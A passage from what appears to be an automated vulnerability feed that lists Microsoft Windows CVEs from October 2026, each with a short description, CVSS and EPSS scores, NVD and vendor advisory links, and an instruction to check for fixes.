EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96324&date=2026-10-25).
Sources:
NVD CVE-2026-96324: https://nvd.nist.gov/vuln/detail/CVE-2026-96324
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96324
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96324&date=2026-10-25
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Update allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96323
Use after free in Windows Update allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Update allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96323).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96323&date=2026-10-25).
Sources:
NVD CVE-2026-96323: https://nvd.nist.gov/vuln/detail/CVE-2026-96323
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96323
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96323&date=2026-10-25
Use after free in Windows Update allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Remote Desktop Protocol allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96322
Use after free in Windows Remote Desktop Protocol allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Remote Desktop Protocol allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96322).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96322&date=2026-10-25).
Sources:
NVD CVE-2026-96322: https://nvd.nist.gov/vuln/detail/CVE-2026-96322
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96322
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96322&date=2026-10-25
Use after free in Windows Remote Desktop Protocol allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96319
Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96319).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96319&date=2026-10-25).
Sources:
NVD CVE-2026-96319: https://nvd.nist.gov/vuln/detail/CVE-2026-96319
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96319
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96319&date=2026-10-25
Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Resume allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96318
Heap-based buffer overflow in Windows Resume allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Resume allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96318).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96318&date=2026-10-25).
Sources:
NVD CVE-2026-96318: https://nvd.nist.gov/vuln/detail/CVE-2026-96318
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96318
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96318&date=2026-10-25
Heap-based buffer overflow in Windows Resume allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96317
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96317).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96317&date=2026-10-25).
Sources:
NVD CVE-2026-96317: https://nvd.nist.gov/vuln/detail/CVE-2026-96317
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96317
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96317&date=2026-10-25
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing authentication for critical function in Windows Push Notifications allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96313
Missing authentication for critical function in Windows Push Notifications allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Missing authentication for critical function in Windows Push Notifications allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96313).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96313&date=2026-10-25).
Sources:
NVD CVE-2026-96313: https://nvd.nist.gov/vuln/detail/CVE-2026-96313
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96313
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96313&date=2026-10-25
Missing authentication for critical function in Windows Push Notifications allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96312
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96312).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96312&date=2026-10-25).
Sources:
NVD CVE-2026-96312: https://nvd.nist.gov/vuln/detail/CVE-2026-96312
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96312
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96312&date=2026-10-25
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96310
Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96310).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96310&date=2026-10-25).
Sources:
NVD CVE-2026-96310: https://nvd.nist.gov/vuln/detail/CVE-2026-96310
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96310
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96310&date=2026-10-25
Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Subsystem for Linux allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96309
Use after free in Windows Subsystem for Linux allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Subsystem for Linux allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96309).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96309&date=2026-10-25).
Sources:
NVD CVE-2026-96309: https://nvd.nist.gov/vuln/detail/CVE-2026-96309
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96309
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96309&date=2026-10-25
Use after free in Windows Subsystem for Linux allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96308
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96308).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96308&date=2026-10-25).
Sources:
NVD CVE-2026-96308: https://nvd.nist.gov/vuln/detail/CVE-2026-96308
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96308
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96308&date=2026-10-25
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96307
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96307).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96307&date=2026-10-25).
Sources:
NVD CVE-2026-96307: https://nvd.nist.gov/vuln/detail/CVE-2026-96307
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96307
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96307&date=2026-10-25
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows Sysmain Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96306
Out-of-bounds read in Windows Sysmain Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Out-of-bounds read in Windows Sysmain Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96306).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96306&date=2026-10-25).
Sources:
NVD CVE-2026-96306: https://nvd.nist.gov/vuln/detail/CVE-2026-96306
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96306
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96306&date=2026-10-25
Out-of-bounds read in Windows Sysmain Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96305
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96305).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96305&date=2026-10-25).
Sources:
NVD CVE-2026-96305: https://nvd.nist.gov/vuln/detail/CVE-2026-96305
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96305
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96305&date=2026-10-25
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96304
Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96304).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96304&date=2026-10-25).
Sources:
NVD CVE-2026-96304: https://nvd.nist.gov/vuln/detail/CVE-2026-96304
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96304
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96304&date=2026-10-25
Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96302
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96302).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96302&date=2026-10-25).
Sources:
NVD CVE-2026-96302: https://nvd.nist.gov/vuln/detail/CVE-2026-96302
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96302
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96302&date=2026-10-25
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96301
Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96301).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96301&date=2026-10-25).
Sources:
NVD CVE-2026-96301: https://nvd.nist.gov/vuln/detail/CVE-2026-96301
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96301
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96301&date=2026-10-25
Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96254
Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96254).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96254&date=2026-10-25).
Sources:
NVD CVE-2026-96254: https://nvd.nist.gov/vuln/detail/CVE-2026-96254
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96254
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96254&date=2026-10-25
Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96253
Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96253).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96253&date=2026-10-25).
Sources:
NVD CVE-2026-96253: https://nvd.nist.gov/vuln/detail/CVE-2026-96253
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96253
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96253&date=2026-10-25
Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96250
Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96250).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96250&date=2026-10-25).
Sources:
NVD CVE-2026-96250: https://nvd.nist.gov/vuln/detail/CVE-2026-96250
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96250
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96250&date=2026-10-25
Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to disclose information over a network.
https://kevwire.com/record/CVE-2026-96245
Out-of-bounds read in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to disclose information over a network. (Oct 13, 2026).
Out-of-bounds read in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to disclose information over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96245).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96245&date=2026-10-25).
Sources:
NVD CVE-2026-96245: https://nvd.nist.gov/vuln/detail/CVE-2026-96245
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96245
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96245&date=2026-10-25
Out-of-bounds read in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to disclose information over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds write in Windows Local Security Authority Subsystem Service (LSASS) allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-96219
Out-of-bounds write in Windows Local Security Authority Subsystem Service (LSASS) allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Out-of-bounds write in Windows Local Security Authority Subsystem Service (LSASS) allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96219).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96219&date=2026-10-25).
Sources:
NVD CVE-2026-96219: https://nvd.nist.gov/vuln/detail/CVE-2026-96219
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96219
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96219&date=2026-10-25
Out-of-bounds write in Windows Local Security Authority Subsystem Service (LSASS) allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96217
Heap-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96217).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96217&date=2026-10-25).
Sources:
NVD CVE-2026-96217: https://nvd.nist.gov/vuln/detail/CVE-2026-96217
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96217
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96217&date=2026-10-25
Heap-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96216
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96216).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96216&date=2026-10-25).
Sources:
